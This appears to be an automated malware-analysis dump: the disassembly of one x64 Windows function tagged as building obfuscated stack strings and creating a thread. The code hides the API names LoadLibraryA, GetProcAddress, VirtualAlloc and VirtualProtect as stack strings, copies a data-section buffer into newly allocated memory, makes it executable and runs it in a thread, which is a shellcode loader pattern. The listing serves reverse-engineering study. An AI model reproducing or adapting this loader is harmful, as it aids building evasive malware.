Function at 0x14001126c
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
jmp 0x140011e60
push rbp
push rdi
sub rsp, 0x478
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d9c0]
xor rax, rbp
mov qword [rbp + 0x438], rax
lea rcx, [0x1400230a4]
call fcn.140011370
mov eax, 0x6b
mov word [rbp + 8], ax
mov eax, 0x65
mov word [rbp + 0xa], ax
mov eax, 0x72
mov word [rbp + 0xc], ax
mov eax, 0x6e
mov word [rbp + 0xe], ax
mov eax, 0x65
mov word [rbp + 0x10], ax
mov eax, 0x6c
mov word [rbp + 0x12], ax
mov eax, 0x33
mov word [rbp + 0x14], ax
mov eax, 0x32
mov word [rbp + 0x16], ax
mov eax, 0x2e
mov word [rbp + 0x18], ax
mov eax, 0x64
mov word [rbp + 0x1a], ax
mov eax, 0x6c
mov word [rbp + 0x1c], ax
mov eax, 0x6c
mov word [rbp + 0x1e], ax
xor eax, eax
mov word [rbp + 0x20], ax
mov byte [rbp + 0x48], 0x4c
mov byte [rbp + 0x49], 0x6f
mov byte [rbp + 0x4a], 0x61
mov byte [rbp + 0x4b], 0x64
mov byte [rbp + 0x4c], 0x4c
mov byte [rbp + 0x4d], 0x69
mov byte [rbp + 0x4e], 0x62
mov byte [rbp + 0x4f], 0x72
mov byte [rbp + 0x50], 0x61
mov byte [rbp + 0x51], 0x72
mov byte [rbp + 0x52], 0x79
mov byte [rbp + 0x53], 0x41
mov byte [rbp + 0x54], 0
mov byte [rbp + 0x78], 0x47
mov byte [rbp + 0x79], 0x65
mov byte [rbp + 0x7a], 0x74
mov byte [rbp + 0x7b], 0x50
mov byte [rbp + 0x7c], 0x72
mov byte [rbp + 0x7d], 0x6f
mov byte [rbp + 0x7e], 0x63
mov byte [rbp + 0x7f], 0x41
mov byte [rbp + 0x80], 0x64
mov byte [rbp + 0x81], 0x64
mov byte [rbp + 0x82], 0x72
mov byte [rbp + 0x83], 0x65
mov byte [rbp + 0x84], 0x73
mov byte [rbp + 0x85], 0x73
mov byte [rbp + 0x86], 0
mov byte [rbp + 0xa8], 0x56
mov byte [rbp + 0xa9], 0x69
mov byte [rbp + 0xaa], 0x72
mov byte [rbp + 0xab], 0x74
mov byte [rbp + 0xac], 0x75
mov byte [rbp + 0xad], 0x61
mov byte [rbp + 0xae], 0x6c
mov byte [rbp + 0xaf], 0x41
mov byte [rbp + 0xb0], 0x6c
mov byte [rbp + 0xb1], 0x6c
mov byte [rbp + 0xb2], 0x6f
mov byte [rbp + 0xb3], 0x63
mov byte [rbp + 0xb4], 0
mov byte [rbp + 0xd8], 0x56
mov byte [rbp + 0xd9], 0x69
mov byte [rbp + 0xda], 0x72
mov byte [rbp + 0xdb], 0x74
mov byte [rbp + 0xdc], 0x75
mov byte [rbp + 0xdd], 0x61
mov byte [rbp + 0xde], 0x6c
mov byte [rbp + 0xdf], 0x50
mov byte [rbp + 0xe0], 0x72
mov byte [rbp + 0xe1], 0x6f
mov byte [rbp + 0xe2], 0x74
mov byte [rbp + 0xe3], 0x65
mov byte [rbp + 0xe4], 0x63
mov byte [rbp + 0xe5], 0x74
mov byte [rbp + 0xe6], 0
lea rcx, [rbp + 8]
call fcn.140011348
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
jne 0x14001207c
mov eax, 1
jmp 0x14001222e
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x108]
call fcn.140011113
mov qword [rbp + 0x128], rax
cmp qword [rbp + 0x128], 0
jne 0x1400120a7
mov eax, 1
jmp 0x14001222e
lea rdx, [rbp + 0x78]
mov rcx, qword [rbp + 0x108]
call fcn.140011113
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0
jne 0x1400120d2
mov eax, 1
jmp 0x14001222e
lea rdx, [rbp + 0xa8]
mov rcx, qword [rbp + 0x108]
call fcn.140011113
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0
jne 0x140012100
mov eax, 1
jmp 0x14001222e
lea rdx, [rbp + 0xd8]
mov rcx, qword [rbp + 0x108]
call fcn.140011113
mov qword [rbp + 0x188], rax
cmp qword [rbp + 0x188], 0
jne 0x14001212e
mov eax, 1
jmp 0x14001222e
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x208], rax
mov dword [rbp + 0x284], 0
mov dword [rbp + 0x2a4], 0x800
mov eax, dword [rbp + 0x2a4]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rbp + 0x1c8]
mov qword [rbp + 0x228], rax
mov eax, dword [rbp + 0x2a4]
mov r8d, eax
lea rdx, section..data
mov rcx, qword [rbp + 0x228]
call fcn.1400113ac
mov eax, dword [rbp + 0x2a4]
lea r9, [rbp + 0x284]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 0x228]
call qword [rbp + 0x1e8]
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0
je 0x140012228
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x228]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x268], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x14001222c
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001adb0]
call fcn.140011307
mov rax, rdi
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.1400111ae
lea rsp, [rbp + 0x448]
pop rdi
pop rbp
ret